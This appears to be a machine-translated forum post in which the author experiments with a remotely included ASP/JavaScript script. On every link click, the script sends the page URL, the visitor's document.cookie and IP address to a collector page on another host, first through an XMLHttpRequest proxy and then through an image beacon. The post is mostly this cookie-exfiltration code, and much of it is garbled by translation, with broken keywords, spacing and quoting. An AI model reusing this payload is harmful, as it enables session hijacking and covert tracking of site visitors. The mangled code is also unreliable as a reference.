Vbs small shop
The client cannot cross-origin ajax, and the server can. So we have studied how to call remote asp to cross-origin:
The content of I. asp on 192.168.0.12 is as follows:
★
<Script language = "javascript" src ="Http: // 192.168.0.5/code1.asp"> </Script>
<A href = http://www.sohu.com> aaaa </a>
<A href = http://www.sohu.com> bbb </a>
★
The content of code1.asp on 192.168.0.5 is as follows:
★
<% A = Request. ServerVariables ("remote_addr ")
Function GetBody (url)
On Error Resume Next
Set Retrieval = CreateObject ("Microsoft. XMLHTTP ")
With Retrieval
. Open "Get", url, False ,"",""
. Send
GetBody =. ResponseBody
End
Set Retrieval = Nothing
End Function
If Request. QueryString ("url") <> "" then
GetBody (Request. QueryString ("url "))
End if
%>
Var xmlHttp
Function showHint (str)
{
If (str. length = 0)
{
Return;
}
XmlHttp = GetXmlHttpObject ()
If (xmlHttp = null)
{
Alert ("your browser does not support AJAX! ");
Return;
}
Var url = "asp? Url = http: // 192.168.0.5/getcd. asp ">Http: // 192.168.0.5/code1.asp? Url = http: // 192.168.0.5/getcd. asp";
Url = url + "? Var = "+ str;
XmlHttp. open ("GET", url, true );
XmlHttp. send (null );
}
Function GetXmlHttpObject ()
{
Var xmlHttp = null;
Try
{
// Firefox, Opera 8.0 +, Safari
XmlHttp = new XMLHttpRequest ();
}
Catch (e)
{
// Internet Explorer
Try
{
XmlHttp = new ActiveXObject ("Msxml2.XMLHTTP ");
}
Catch (e)
{
XmlHttp = new ActiveXObject ("Microsoft. XMLHTTP ");
}
}
Return xmlHttp;
}
Document. onclick = function (e ){
Var e = e | event;
Var element = e.tar get | e. srcElement;
If (element. tagName. toLowerCase () = ""){
If (! Element. getAttribute (visited ))
{
// Alert (element. href );
ShowHint (element. href + location. href + encodeURI (document. cookie) + <% = a %> );
Element. setAttribute (visited, true );
}
}
}
★
I. after code1.asp is called on the Cross-Site Page of asp, code1.asp is a server-side script that counts as an intermediate proxy. The js Code in it is submitted to itself through xmlhttp and forwarded by itself, forward to getcd. asp, facts prove unsuccessful !!!, Alas !!!! It indicates that js is not in the original file domain after being remotely called, even if it is written in asp server scripts.
If you change ocde1.asp to the following code, but there is no cross-origin concept, that is, the database is detached and fart:
<% A = Request. ServerVariables ("remote_addr ")
Function GetBody (url)
On Error Resume Next
Set Retrieval = CreateObject ("Microsoft. XMLHTTP ")
With Retrieval
. Open "Get", url, False ,"",""
. Send
GetBody =. ResponseBody
End
Set Retrieval = Nothing
End Function
If Request. QueryString ("url") <> "" then
GetBody (Request. QueryString ("url "))
End if
%>
Document. onclick = function (e ){
Var img = new Image ();
Var e = e | event;
Var element = e.tar get | e. srcElement;
If (element. tagName. toLowerCase () = ""){
If (! Element. getAttribute (visited ))
{
Img. src = http: // 192.168.0.5/code1.asp? Url = http: // 192.168.0.5/getcd. asp? Var = + element. href + location. href + encodeURI (document. cookie) + <% = a %>;
Element. setAttribute (visited, true );
}
}
}